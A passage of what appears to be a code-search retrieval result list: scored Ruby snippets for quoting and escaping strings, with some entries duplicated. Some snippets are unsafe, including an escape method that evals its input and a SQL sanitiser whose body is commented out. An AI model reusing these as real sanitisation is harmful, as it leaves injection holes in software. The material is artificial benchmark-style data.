"2be72b3fdb466f56540dee4c7fd5e17f", "score": "0.7859715", "text": "def quote(string)\n string.gsub(/'/, \"''\")\n end", "title": "" }, { "docid": "b614e92c7a47d33fa4e24082f4bbc4d9", "score": "0.78595877", "text": "def escape_quotes(str)\n return str.gsub(\"'\", \"\\\\\\\\'\")\n end", "title": "" }, { "docid": "3aafbba3555f961eb4e8b4cdcf72834c", "score": "0.7854805", "text": "def quote_string(string)\n puts_log \"quote_string\"\n string.gsub(/'/, \"''\")\n\t #string.gsub('\\\\', '\\&\\&').gsub(\"'\", \"''\")\n end", "title": "" }, { "docid": "7eaf0eb8f6a99bf20d724958f881dc3a", "score": "0.78495544", "text": "def escape_quotes(str)\n return str.gsub(\"'\", \"\\\\\\\\\\'\")\n end", "title": "" }, { "docid": "c35b8e130f727c06d9d3ed9cc7580653", "score": "0.7846326", "text": "def string_escape(input)\n return input.gsub(/([\"'\\\\])/, '\\\\\\\\\\1')\n end", "title": "" }, { "docid": "c35b8e130f727c06d9d3ed9cc7580653", "score": "0.7846326", "text": "def string_escape(input)\n return input.gsub(/([\"'\\\\])/, '\\\\\\\\\\1')\n end", "title": "" }, { "docid": "00a127a05ddefa1e00c54d3076a896b2", "score": "0.7843522", "text": "def quote_string(s); end", "title": "" }, { "docid": "00a127a05ddefa1e00c54d3076a896b2", "score": "0.7843522", "text": "def quote_string(s); end", "title": "" }, { "docid": "b538bf468838c08f3cebd15da732185c", "score": "0.7834616", "text": "def quote_string(s)\n s.to_s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\") # ' (for ruby-mode)\nend", "title": "" }, { "docid": "ecfb0c0b1cd7b63236f28c348aad6fa2", "score": "0.78069377", "text": "def quote_string(s) #:nodoc:\n @connection.escape(s)\n end", "title": "" }, { "docid": "437da7b22f7bdb16ba84643c4d9b4c49", "score": "0.77893585", "text": "def escape(string)\n # This code is taken directly from the documentation so we dont have to rely on the SQLite3::Database class. This way it can also be used with JRuby and IronRuby...\n # http://sqlite-ruby.rubyforge.org/classes/SQLite/Database.html\n string.to_s.gsub(\"'\", \"''\")\n end", "title": "" }, { "docid": "1168f832b7bf52adb39f82ddadc3154a", "score": "0.77845216", "text": "def single_quote(string)\n string.gsub(/\"/,\"'\")\n end", "title": "" }, { "docid": "d71e689bf23f0bf3656ebf104c6817e8", "score": "0.77800506", "text": "def quote_string(s) #:nodoc:\n @connection.escape(s)\n end", "title": "" }, { "docid": "844bcdef63a530ab991c0d82f9b52e43", "score": "0.7766488", "text": "def quote_string(s)\n s.gsub(/'/, \"''\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "9b632ad9780d6ccfc06a0708a64bd68d", "score": "0.77303123", "text": "def quote( string )\n string.gsub( /'/, \"''\" )\n end", "title": "" }, { "docid": "9b632ad9780d6ccfc06a0708a64bd68d", "score": "0.77303123", "text": "def quote( string )\n string.gsub( /'/, \"''\" )\n end", "title": "" }, { "docid": "8aa5085b224163b0adc67a7f57961cdf", "score": "0.77265036", "text": "def quote_string(s)\n s.gsub('\\\\'.freeze, '\\&\\&'.freeze).gsub(\"'\".freeze, \"''\".freeze) # ' (for ruby-mode)\n end", "title": "" }, { "docid": "3f0da389a26ac96fbdd41ea5e9e8a0e0", "score": "0.772635", "text": "def quote(string)\n string = string.to_s\n string = string.gsub('\\\\', '\\\\\\\\')\n string = string.gsub('\"', '\\\\\"')\n \"\\\"#{string}\\\"\"\n end", "title": "" }, { "docid": "f037448686c7de9c4dd0fd72aca964fd", "score": "0.77117866", "text": "def quote(str)\n\t\t'\"' + str.gsub(/./){|c| (c =~ UNQUOTED_CHARS) ? c: '\\\\' + c} + '\"'\n\tend", "title": "" }, { "docid": "b58e341de0ae3c0f8cec6e6595789c25", "score": "0.7702201", "text": "def escape(s)\n s.gsub('\"', '\\\"')\nend", "title": "" }, { "docid": "185f738d7254b117ef00007641abdb52", "score": "0.7676737", "text": "def quote(str)\n %(\"#{str.to_s.gsub('\"', '\\\"')}\")\n end", "title": "" }, { "docid": "863a73e8d35b2c604b7dfc49d5ffc4b4", "score": "0.7670163", "text": "def quote(str)\n return str unless str.is_a?(String)\n if str.include?(\"'\")\n \"\\\"#{str}\\\"\"\n else\n \"'#{str}'\"\n end\n end", "title": "" }, { "docid": "dc8478817a4ac9dfea0fb98045913b43", "score": "0.7665094", "text": "def quote(str)\n '\"' << str.gsub(/[\\\\\\\"]/o, \"\\\\\\1\") << '\"'\n end", "title": "" }, { "docid": "9e555f12c919935d893d7286fdfc8dcc", "score": "0.76396245", "text": "def dquote( str )\n '\"' + unquote(str).gsub(/[\\\\\"]/n) {|s| '\\\\' + s } + '\"'\n end", "title": "" }, { "docid": "df2c12de287046371ea931be829209eb", "score": "0.7624663", "text": "def single_quote()\n \"'#{strip.gsub(/\\\\/) { '\\\\\\\\' }.gsub(/'/) { \"\\\\'\"}}'\"\n end", "title": "" }, { "docid": "ce1ea85ee1fb9255aeecc3ea390bbc07", "score": "0.7624162", "text": "def escape(string)\n #This code is taken directly from the documentation so we dont have to rely on the SQLite3::Database class. This way it can also be used with JRuby and IronRuby...\n #http://sqlite-ruby.rubyforge.org/classes/SQLite/Database.html\n return string.to_s.gsub(/'/, \"''\")\n end", "title": "" }, { "docid": "5af7c7d85ae4e1c7aa3d4d7322f1c732", "score": "0.75861406", "text": "def quote_str(str)\n \"'#{str.gsub(\"'\", \"''\")}'\"\n end", "title": "" }, { "docid": "4095566cf8c56df9fe0f4f09f04ecff1", "score": "0.7571802", "text": "def quote_string(s) #:nodoc:\n s.gsub(/'/, \"''\") # ' (for ruby-mode)\n end", "title": "" }, { "docid": "b01a31c764aa7deb3b1b20d550964f81", "score": "0.7564256", "text": "def enquote(string)\n CGI.escape(\"\\\"\") + string + CGI.escape(\"\\\"\")\n end", "title": "" }, { "docid": "61d799910a4f555fe8d4cc63ecc6921c", "score": "0.75564146", "text": "def escape_single_quotes\n self.gsub(\"'\", \"\\\\'\")\n end", "title": "" }, { "docid": "a685304a6b3e6af416f0b9b5d31cc5ec", "score": "0.7535534", "text": "def qesc(s)\n s.gsub(\"'\", \"''\")\nend", "title": "" }, { "docid": "e017c4ed35672dbe9a4803aeb920b857", "score": "0.75338495", "text": "def quote_literal( string )\n return '\"' + string.gsub(\"\\\\\", \"\\\\\\\\\").gsub(\"\\n\", \"\\\\n\").gsub(\"\\t\", \"\\\\t\").gsub(\"\\\"\", \"\\\\\\\"\") + '\"'\n end", "title": "" }, { "docid": "35a43fa3667030d9de301ccb2e362cdc", "score": "0.7526576", "text": "def quote_string(s) # :nodoc:\n with_raw_connection(allow_retry: true, materialize_transactions: false) do |connection|\n connection.escape(s)\n end\n end", "title": "" }, { "docid": "d6019077ba137b569ffba4e6c3a9d0db", "score": "0.7521584", "text": "def quoted(string)\n if string.to_s.match(/[\\t\\n\\r]/)\n string = string.gsub('\\\\', '\\\\\\\\\\\\\\\\').gsub('\"', '\\\\\"')\n\n %(\"\"\"#{string}\"\"\")\n else\n \"\\\"#{escaped(string)}\\\"\"\n end\n end", "title": "" }, { "docid": "acd596ccbb86cb269fa8e0e0e54d657d", "score": "0.751129", "text": "def quote(str)\n\t'\"' << str.to_s << '\"'\nend", "title": "" }, { "docid": "acd596ccbb86cb269fa8e0e0e54d657d", "score": "0.75110763", "text": "def quote(str)\n\t'\"' << str.to_s << '\"'\nend", "title": "" }, { "docid": "c9eaf727f2eb3311d151828d4913ceb0", "score": "0.75034165", "text": "def quote_string(string)\n @logger.unknown(\"ODBCAdapter#quote_string>\") if @@trace\n @logger.unknown(\"args=[#{string}]\") if @@trace\n string.gsub(/\\'/, \"''\")\n end", "title": "" }, { "docid": "49558d6a27993044b0070ac99e6dbcb4", "score": "0.7483919", "text": "def escape_double_quote (s)\n if ( /\"/ =~ s )\n return '\"' + s.gsub('\"','\"\"') + '\"'\n else\n return '\"' + s + '\"'\n end\nend", "title": "" }, { "docid": "49558d6a27993044b0070ac99e6dbcb4", "score": "0.7483919", "text": "def escape_double_quote (s)\n if ( /\"/ =~ s )\n return '\"' + s.gsub('\"','\"\"') + '\"'\n else\n return '\"' + s + '\"'\n end\nend", "title": "" }, { "docid": "49558d6a27993044b0070ac99e6dbcb4", "score": "0.7483919", "text": "def escape_double_quote (s)\n if ( /\"/ =~ s )\n return '\"' + s.gsub('\"','\"\"') + '\"'\n else\n return '\"' + s + '\"'\n end\nend", "title": "" }, { "docid": "49558d6a27993044b0070ac99e6dbcb4", "score": "0.7483919", "text": "def escape_double_quote (s)\n if ( /\"/ =~ s )\n return '\"' + s.gsub('\"','\"\"') + '\"'\n else\n return '\"' + s + '\"'\n end\nend", "title": "" }, { "docid": "49558d6a27993044b0070ac99e6dbcb4", "score": "0.7483919", "text": "def escape_double_quote (s)\n if ( /\"/ =~ s )\n return '\"' + s.gsub('\"','\"\"') + '\"'\n else\n return '\"' + s + '\"'\n end\nend", "title": "" }, { "docid": "3a58514ed2d033693f7d1468cd262daf", "score": "0.7475804", "text": "def escape_quotes_smart(str)\n return str if !(str.include? '\\'')\n #If escape quotes are used dont use again\n if str.include? '\\\\\\''\n return str\n else\n return escape_quotes(str)\n end\n end", "title": "" }, { "docid": "aa49eba79aa7236aeae3cdcb207e2c09", "score": "0.7460069", "text": "def escape_double_quote (s)\n return '\"\"' if s.nil?\n if ( /\"/ =~ s )\n return '\"' + s.gsub('\"','\"\"') + '\"'\n else\n return '\"' + s + '\"'\n end\nend", "title": "" }, { "docid": "aa49eba79aa7236aeae3cdcb207e2c09", "score": "0.7460069", "text": "def escape_double_quote (s)\n return '\"\"' if s.nil?\n if ( /\"/ =~ s )\n return '\"' + s.gsub('\"','\"\"') + '\"'\n else\n return '\"' + s + '\"'\n end\nend", "title": "" }, { "docid": "8d7e8929f5361474249e903e2a944961", "score": "0.7457096", "text": "def escape_quotes(text)\n text.gsub(\"'\", \"''\")\n end", "title": "" }, { "docid": "8d7e8929f5361474249e903e2a944961", "score": "0.7457096", "text": "def escape_quotes(text)\n text.gsub(\"'\", \"''\")\n end", "title": "" }, { "docid": "fe0ee4f949d89e76e16254bc0e1e5082", "score": "0.7452921", "text": "def escape\n eval '\"'+ to_s.gsub(/\\\"/,'\\\"') + '\"'\n end", "title": "" }, { "docid": "e62da0aab691615a20234525faedf7a1", "score": "0.74518293", "text": "def escape(str)\n\tstr.to_s.gsub(/(?=[\"\\\\])/, '\\\\')\nend", "title": "" }, { "docid": "e62da0aab691615a20234525faedf7a1", "score": "0.74518293", "text": "def escape(str)\n\tstr.to_s.gsub(/(?=[\"\\\\])/, '\\\\')\nend", "title": "" }, { "docid": "dba750bf6c56d4d80ddfb68b56218331", "score": "0.74394816", "text": "def string_to_sql(thing, backslashes)\n \"E'\" + thing.gsub(/[\\x0-\\x1f\\x80-\\xff'\\\\]/) do |c|\n escape_char(c[0].ord, backslashes)\n end + \"'\"\n end", "title": "" }, { "docid": "b31546a6faa5a5e6c7f5602523d8173b", "score": "0.7413333", "text": "def escape_quotes_smart(str)\n return str if !(str.include? '\\'')\n #If escape quotes are used dont use again\n if str.include? '\\\\\\''\n return str\n else\n return escape_quotes(str)\n end\n end", "title": "" }, { "docid": "7d1d2fbd6199833f4528ca07888f8f2c", "score": "0.7399168", "text": "def quote(str)\n quoted?(str) ? str : \"\\\"#{str}\\\"\"\n end", "title": "" }, { "docid": "5f032aca40e9a094afb4f31ee494ec8e", "score": "0.73864424", "text": "def escape_double_quotes(text)\n text.gsub(/\"/, '\\\"')\n end", "title": "" }, { "docid": "e2dbedffb8643f96de69af41ed14c71f", "score": "0.7385256", "text": "def escape(value)\r\n value.gsub(/\"/,'\"\"')\r\n end", "title": "" }, { "docid": "2ebbd48e6fe8868b7204c370bf06b976", "score": "0.73726106", "text": "def quote(str, q='\"'); \"#{q}#{str}#{q}\" end", "title": "" }, { "docid": "bba63cc675a5162ec17e3dc4600c89b2", "score": "0.73537976", "text": "def escape(str)\n str.to_s.gsub(/(?=[\"\\\\])/, '\\\\')\nend", "title": "" }, { "docid": "30e538d2b6c187ef84fecc748d77545e", "score": "0.7351072", "text": "def quoted_string(str); end", "title": "" }, { "docid": "f2fc545a376c724abcfca4e1c74aab21", "score": "0.73388344", "text": "def shell_quote(string)\n return '\"' + string.gsub(/([\\\\\"$`])/, '\\\\\\\\\\1') + '\"'\n end", "title": "" }, { "docid": "538fd6d7286f1d822baf81362ef17319", "score": "0.73180676", "text": "def quote(str)\n # Replace single and double quotes with TeX oriented quotes.\n result = str.gsub(/'([^']*)'/, \"`\\\\1'\")\n result = result.gsub(/\"([^\"]*)\"/, \"``\\\\1''\")\n # Escape special TeX characters, such as $ and %\n result.tex_quote\n end", "title": "" }, { "docid": "d658794168be13da025c49c1506e54c6", "score": "0.73108023", "text": "def quote_string(value)\n \"#{value.gsub(\"'\", \"''\")}\"\n end", "title": "" }, { "docid": "0d6cfea9cb8fff4b74d1606734be717b", "score": "0.73092234", "text": "def quote(str)\n \"\\\"#{str}\\\"\"\nend", "title": "" }, { "docid": "900f6892888ce9ba92e98942bdece964", "score": "0.73070174", "text": "def safe_quote\n self.gsub(/['\"]/, '\\\\\\\"')\n end", "title": "" }, { "docid": "c2ab0a222c6a02643f8dcc2f79ae1f86", "score": "0.73068863", "text": "def quote_and_escape(value)\n case value\n when ::String\n if string_requires_quoting?(value)\n value = value.gsub(/\\\\/, ARRAY_ESCAPE)\n value.gsub!(/\"/,\"\\\\\\\"\")\n %(\"#{value}\")\n else\n value\n end\n when nil then \"NULL\"\n else value\n end\n end", "title": "" }, { "docid": "93cb97056ee5266848eb58d6479e7624", "score": "0.73020536", "text": "def escape( s )\n Amalgalite::SQLite3.escape( s )\n end", "title": "" }, { "docid": "b7483a4e4e0cfaf0c0a886d1c1db9ba9", "score": "0.7267467", "text": "def sql_escape(val)\n\t\"'\" + val.to_s.gsub(\"'\", \"\\\\\\\\'\") + \"'\"\nend", "title": "" }, { "docid": "6700d67110d975d308245f96c1cf0007", "score": "0.7264212", "text": "def escape_quotes(s)\n i = 0\n len = s.length\n brackets = 0\n\n while i < len do\n if s[i] == '<' then brackets += 1 end\n if s[i] == '>' then brackets -= 1 end\n\n if brackets < 1 and (s[i] == \"'\" or s[i] == '\"')\n unless (i == 0 or i == len - 1) and StrHelper::quoted?(s)\n s.insert(i, '\\\\')\n i += 1\n len += 1\n end\n end\n\n i += 1\n end\n\n s\n end", "title": "" }, { "docid": "4d19ecc183e9f0a1f5725cef099bb0eb", "score": "0.7263633", "text": "def quote(str)\n '\"' << str.to_s << '\"'\nend", "title": "" }, { "docid": "43db428517b0ae867c036e359f776a71", "score": "0.7262513", "text": "def shell_escape(str)\r\n str = str.to_s\r\n\r\n # An empty argument will be skipped, so return empty quotes.\r\n return '\"\"' if str.empty?\r\n\r\n str = str.dup\r\n\r\n str.gsub!(/((?:\\\\)*)\"/){ \"\\\\\" * ($1.length*2) + \"\\\\\\\"\" }\r\n if str =~ /\\s/\r\n str.gsub!(/(\\\\+)\\z/){ \"\\\\\" * ($1.length*2) }\r\n str = \"\\\"#{str}\\\"\"\r\n end\r\n\r\n return str\r\n end", "title": "" }, { "docid": "de43d2a6c083acd13dd2503ead0c06e8", "score": "0.72448134", "text": "def sanitize_for_sql(string)\n \t#string.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\")\n end", "title": "" }, { "docid": "0bb17f74111afb9cb58a9690e35d99b8", "score": "0.72238684", "text": "def shell_escape(str)\n str = str.to_s\n\n # An empty argument will be skipped, so return empty quotes.\n return '\"\"' if str.empty?\n\n str = str.dup\n\n str.gsub!(/((?:\\\\)*)\"/){ \"\\\\\" * ($1.length*2) + \"\\\\\\\"\" }\n if str =~ /\\s/\n str.gsub!(/(\\\\+)\\z/){ \"\\\\\" * ($1.length*2) }\n str = \"\\\"#{str}\\\"\"\n end\n\n return str\n end", "title": "" } ]
3b8dc390c40e862b0d7c4abf58a6c0c3
Returns the value of attribute hash. source://activerecord//lib/active_record/relation/merger.rb8
[ { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.0", "text": "def hash; end", "title": "" } ]
[ { "docid": "9626525c2628c250332dbc8d792e4cd3", "score": "0.6746213", "text": "def hash\n attributes['hash']\n end", "title": "" }, { "docid": "8a4c399d2f850a7a4f0b6b49022b5306", "score": "0.647549", "text": "def hash\n @hash ||= attributes.hash\n end", "title": "" }, { "docid": "4510677a0898812399dd3733bd61e5e7", "score": "0.63690776", "text": "def hash\n @value.hash\n end", "title": "" }, { "docid": "4510677a0898812399dd3733bd61e5e7", "score": "0.63690776", "text": "def hash\n @value.hash\n end", "title": "" }, { "docid": "4510677a0898812399dd3733bd61e5e7", "score": "0.63690776", "text": "def hash\n @value.hash\n end", "title": "" }, { "docid": "7aa29df1c807dae0a4f01ef58af936b1", "score": "0.6339715", "text": "def hash\n @hash ||= :relation.hash\n end", "title": "" }, { "docid": "75954b0b78268fe661418c0c26d49185", "score": "0.6293929", "text": "def value(relationship)\n relationship.model.properties.map { |property| [property, property.get(relationship)] }.to_hash\n end", "title": "" }, { "docid": "af32cacd1bc91e56f54c6c23b4cd1c94", "score": "0.6269182", "text": "def hash\n value.hash\n end", "title": "" }, { "docid": "f6c2dcf722bb5e8125235e73a2162592", "score": "0.61829907", "text": "def hash\n value.hash\n end", "title": "" }, { "docid": "f6c2dcf722bb5e8125235e73a2162592", "score": "0.61829907", "text": "def hash\n value.hash\n end", "title": "" }, { "docid": "8c2c1f596c664734a359e9e82229c6aa", "score": "0.6142746", "text": "def read\n value = super\n value = value.to_hash if value.respond_to?(:to_hash)\n value\n end", "title": "" }, { "docid": "b59c3fe5d09fe1a4d9f369ed41b57c06", "score": "0.61136734", "text": "def hash\n @value.hash\n end", "title": "" }, { "docid": "0beec143c2fe15a789fbc7b8f5242ddb", "score": "0.6083169", "text": "def hashvalue\r\n return @key.hashvalue\r\n end", "title": "" }, { "docid": "25879246cbcd5b4238f175d7f9baa189", "score": "0.60602826", "text": "def attribute_value\n end", "title": "" }, { "docid": "e2f05e2c074870ad2b7857c349658246", "score": "0.6056778", "text": "def attr_hash; end", "title": "" }, { "docid": "f22563706184fc4952d2bb08a30e3b7f", "score": "0.6035922", "text": "def get_value(attribute_id)\n get_custom_value_hash\n return @custom_value_hash[attribute_id]\n end", "title": "" }, { "docid": "a1793224bebc92517e922a6cc77b4cc8", "score": "0.59984857", "text": "def hash\n values[:hash]\n end", "title": "" }, { "docid": "157a9def2e879fa51d7e74a05ade0eca", "score": "0.5995049", "text": "def hash\n name.hash + value.hash\n end", "title": "" }, { "docid": "9ed72aa0a39592e46956aca8550632a5", "score": "0.5977451", "text": "def value\n @value ||= begin\n extracted_value = @values.detect(&:precondition?)\n\n if extracted_value.nil?\n raise SerializerError,\n \"unknown attribute '#{@values[0].extraction_key}'\"\n end\n\n extracted_value.value\n end\n end", "title": "" }, { "docid": "96a52e2e0c1ce75c663832c8e985da33", "score": "0.5976285", "text": "def value\n attributes.fetch(:value)\n end", "title": "" }, { "docid": "96a52e2e0c1ce75c663832c8e985da33", "score": "0.5976285", "text": "def value\n attributes.fetch(:value)\n end", "title": "" }, { "docid": "b9a0bccacca31212dba4d929fdb28859", "score": "0.59354144", "text": "def attribute_value\n end", "title": "" }, { "docid": "34e27b7f05a053979e337c910060174b", "score": "0.59267217", "text": "def value\n subject[attr_name]\n end", "title": "" }, { "docid": "8c89818bff9172147dea50e344e9573c", "score": "0.59061944", "text": "def to_hash; @attributes; end", "title": "" }, { "docid": "8c89818bff9172147dea50e344e9573c", "score": "0.59061944", "text": "def to_hash; @attributes; end", "title": "" }, { "docid": "32492b002e5c45acee16a1fb4d22b8f4", "score": "0.58891916", "text": "def related_information\n attributes.fetch(:relatedInformation)\n end", "title": "" }, { "docid": "32492b002e5c45acee16a1fb4d22b8f4", "score": "0.58891916", "text": "def related_information\n attributes.fetch(:relatedInformation)\n end", "title": "" }, { "docid": "0792a61a0a63d2c1677f6ebb415a3adf", "score": "0.5886244", "text": "def to_dynamo_value_hash\n self.attributes.each_with_index({}) do |k, v|\n self.class.columns[k].to_dynamo_value_hash(v)\n end\n end", "title": "" }, { "docid": "2c91b420fc8888ede901d53f9462adf5", "score": "0.5880883", "text": "def data\n return super() if defined? super\n\n a_list = %w[id master_id user_id admin_id rank source rec_type notes]\n (attributes[(attribute_names - a_list).first] || '').to_s\n end", "title": "" }, { "docid": "039cc486c72f4a14c56eb24c105d9c4c", "score": "0.5867768", "text": "def get_value(attribute,args)\n vals = fetch_value(args.first ? {attribute: attribute}.merge(args.first) : {attribute: attribute})\n @src.keys.collect(&:underscore).zip(vals).to_h[attribute.to_s]\n end", "title": "" }, { "docid": "d256edb415273d5591949554543bf11b", "score": "0.5865864", "text": "def hash\n attributes.values.reduce { |a, e| a.to_s + e.to_s }.hash\n end", "title": "" }, { "docid": "276fc2cf23710e46d1a9b689c7d589a3", "score": "0.5862853", "text": "def data\n variant_attributes.inject({}) do |data, variant_attribute|\n data[variant_attribute.key.to_sym] = variant_attribute.value\n data\n end\n end", "title": "" }, { "docid": "64cfc493ca5694db12a67560444d9580", "score": "0.5820943", "text": "def read_attribute_value()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "50dff8bed4e1ebe07b4b11892673f2cc", "score": "0.5807772", "text": "def to_hash\n self.attributes.to_hash\n end", "title": "" }, { "docid": "50dff8bed4e1ebe07b4b11892673f2cc", "score": "0.5807772", "text": "def to_hash\n self.attributes.to_hash\n end", "title": "" }, { "docid": "50dff8bed4e1ebe07b4b11892673f2cc", "score": "0.5807772", "text": "def to_hash\n self.attributes.to_hash\n end", "title": "" }, { "docid": "50dff8bed4e1ebe07b4b11892673f2cc", "score": "0.5807772", "text": "def to_hash\n self.attributes.to_hash\n end", "title": "" }, { "docid": "28d3ffbbc5e1f16c52672d025d4942ef", "score": "0.5804252", "text": "def meta_data(r)\n { :association_values => data_adapter.assoc_values(r, final_columns_hash).netzke_literalize_keys }\n end", "title": "" }, { "docid": "a65e6439c1bcc8cdc494882aa9165e6a", "score": "0.5803514", "text": "def hash_value(attributable_id, attributable_type, option = nil)\n pa = product_attributes.where(attributable_id: attributable_id,\n attributable_type: attributable_type).first\n case type_id\n when TYPE_NUMBER, TYPE_STRING\n if pa and pa.value\n pa.value.value\n else\n nil\n end\n when TYPE_RANGE\n if pa\n {from: pa.value.from, to: pa.value.to}\n else\n {from: nil, to: nil}\n end\n when TYPE_OPTION\n if pa then\n pa.value.attribute_class_option_id\n else\n nil\n end\n when TYPE_BOOLEAN\n if pa\n pa.value.value.to_s\n else\n nil\n end\n when TYPE_LIST_OPTS\n if pa\n v = pa.value.attribute_class_options.where(id: option.id)\n not v.empty?\n else\n nil\n end\n end\n end", "title": "" }, { "docid": "aa5cec3c367f418351952e4802f5e0cd", "score": "0.5800069", "text": "def hash\n identifier.hash\n end", "title": "" }, { "docid": "3e48d78391045e8a0e2eb05680f1bcb2", "score": "0.5787747", "text": "def hash\n @hash_value\n end", "title": "" }, { "docid": "d172ca5100681a903f3ad33a1afe8ac0", "score": "0.5750623", "text": "def meta_data(r)\n { :association_values => data_adapter.assoc_values(r, final_columns_hash).literalize_keys }\n end", "title": "" }, { "docid": "5c13e7f4a743027a863abf7d08b4de89", "score": "0.5745223", "text": "def attributes\n @hash['attributes']\n end", "title": "" }, { "docid": "95b9eba17c1cda7778ef188acfacb2db", "score": "0.5744307", "text": "def hash\n @source_val.hash\n end", "title": "" }, { "docid": "3a151377629368df58e59c00e32effd9", "score": "0.5742077", "text": "def hash\n self[:hash]\n end", "title": "" }, { "docid": "3978b80c5b2238a81f47c40db746f6d4", "score": "0.5730561", "text": "def hashValue()\n return @key.hashValue()\n end", "title": "" }, { "docid": "4227810480ab619ba919700cc7e25f20", "score": "0.57262164", "text": "def hash\n super +\n @value.hash\n end", "title": "" }, { "docid": "4227810480ab619ba919700cc7e25f20", "score": "0.5725718", "text": "def hash\n super +\n @value.hash\n end", "title": "" }, { "docid": "e4adebe545f068846e6867fe3dc8cf62", "score": "0.571938", "text": "def attributes_hash; end", "title": "" }, { "docid": "ce33379cf28262fd1be454787726e143", "score": "0.57179815", "text": "def to_model_attribute\n self.entity.generator_model.attributes.select{ |m_attr| m_attr.name == self.name }.first\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5715582", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5715582", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5715582", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5715582", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5715582", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5715582", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "706cbdb4c78e6b67e29589df0a4b1b5c", "score": "0.57013565", "text": "def attr_hash\n md5 = Digest::MD5.new\n # just hash it by name\n md5.update @name\n #\n # @attributes.each do |k,v|\n # md5.update \"#{k}:#{v.attr_hash}\"\n # end\n md5.hexdigest\n end", "title": "" }, { "docid": "467e776610c2cdba26cbf76a15da2c9f", "score": "0.5689679", "text": "def hash\n [@value,self.class].hash\n end", "title": "" }, { "docid": "d43e911ded19f16583b31fc0d7159f03", "score": "0.5682862", "text": "def person_info_value(key)\n r = person_infos.find_by_data_key(key)\n r.data_value if r\n end", "title": "" }, { "docid": "fdb7bc5660171fba6e46cebea2e9aa48", "score": "0.56777406", "text": "def identifier\n attributes.fetch(:identifier)\n end", "title": "" }, { "docid": "fdb7bc5660171fba6e46cebea2e9aa48", "score": "0.56777406", "text": "def identifier\n attributes.fetch(:identifier)\n end", "title": "" }, { "docid": "7c65e587a629aaf0652691419a2219c4", "score": "0.56702507", "text": "def hash\n self['hash']\n end", "title": "" }, { "docid": "ec68e4db3228ce9d9ce089f2401aef90", "score": "0.5663393", "text": "def attr_hash\n md5 = Digest::MD5.new\n @attributes.each do |k,v|\n md5.update \"#{k}:#{v.attr_hash}\"\n end\n md5.hexdigest\n end", "title": "" }, { "docid": "9edd6140b8ffb919b4e75cd2f949c2bf", "score": "0.56589675", "text": "def hash\n\t\treturn self.name.hash\n\tend", "title": "" }, { "docid": "6615c4a372019932052213eb2f755bed", "score": "0.5655549", "text": "def hashValue()\n return @data\n end", "title": "" }, { "docid": "db938090f683d504d09a62c896644aa3", "score": "0.56542593", "text": "def []( key )\n resolve_key(key) do |_,_,idx|\n att = @attributes[idx]\n return(att ? att.value : nil)\n end\n end", "title": "" }, { "docid": "46a4355407e6e0221b29b2e3e7693d8d", "score": "0.56465524", "text": "def value_hash\n @value_hash ||= value.hash\n end", "title": "" }, { "docid": "9de87f0b29783027f55a79f231219981", "score": "0.5642996", "text": "def lazy_attribute_to_s (hash)\n str = \"\"\n hash.each do |key, val|\n str += ', ' if str != \"\"\n if val.kind_of?(Hash)\n if val.key?(\"topo_ref\") && val.keys.length == 1\n # this is a topology reference so expand it\n str += \"'#{key}' => \" + expand_ref(val['topo_ref'])\n else\n str += lazy_attribute_to_s(val)\n end\n else\n str += \"'#{key}' => \" + val.inspect\n end\n end\n \n str\n end", "title": "" }, { "docid": "c545ae9358b6f87e6c49bc8365b21594", "score": "0.56416625", "text": "def hash\n\t\t@name.hash\n\tend", "title": "" }, { "docid": "cece32c2ba56d3a4f979f4787dbd1c79", "score": "0.56384945", "text": "def _attr_hash\n @attrs\n end", "title": "" }, { "docid": "58b838ecef8f76812080af513995422c", "score": "0.5638338", "text": "def value\n @attributes[:value]\n end", "title": "" }, { "docid": "58b838ecef8f76812080af513995422c", "score": "0.5638338", "text": "def value\n @attributes[:value]\n end", "title": "" }, { "docid": "58b838ecef8f76812080af513995422c", "score": "0.5638338", "text": "def value\n @attributes[:value]\n end", "title": "" }, { "docid": "42ae453c65acb32aaecdd561b63d77db", "score": "0.56276745", "text": "def hash\n name.hash\n end", "title": "" }, { "docid": "e7f7bad3cc1802837ef48988d7fde9e8", "score": "0.56250733", "text": "def getHashValue\n\treturn @hashValue\n end", "title": "" }, { "docid": "c16a6620777de70697d926d40c823ea6", "score": "0.5622211", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "c16a6620777de70697d926d40c823ea6", "score": "0.5622211", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "3b14882ac6d8323ccbf016b2dd0e6fc3", "score": "0.56199306", "text": "def record_value_for_attribute(r, a, through_association = false)\n v = if a[:getter]\n a[:getter].call(r)\n elsif r.respond_to?(\"#{a[:name]}\")\n r.send(\"#{a[:name]}\")\n elsif association_attr?(a)\n split = a[:name].to_s.split(/\\.|__/)\n\n if through_association\n split.inject(r) do |r,m| # Do we *really* need to descend deeper than 1 level?\n return nil if r.nil?\n if r.respond_to?(m)\n r.send(m)\n else\n logger.debug \"Netzke::Basepack: Wrong attribute name: #{a[:name]}\" unless r.nil?\n nil\n end\n end\n else\n assoc, method = assoc_and_assoc_method_for_attr a[:name]\n split.pop 2\n val = split.inject(r) do |r,m|\n return nil if r.nil?\n if r.respond_to?(m)\n r.send(m)\n else\n logger.debug \"Netzke::Basepack: Wrong attribute name: #{a[:name]}\" unless r.nil?\n nil\n end\n end\n val && val.send(\"#{assoc.options[:foreign_key] || assoc.name.to_s.foreign_key}\")\n end\n end\n\n # a work-around for to_json not taking the current timezone into account when serializing ActiveSupport::TimeWithZone\n v = v.to_datetime.to_s(:db) if [ActiveSupport::TimeWithZone].include?(v.class)\n\n v\n end", "title": "" }, { "docid": "4881b529d717a366955448ad4dada6c2", "score": "0.5612625", "text": "def 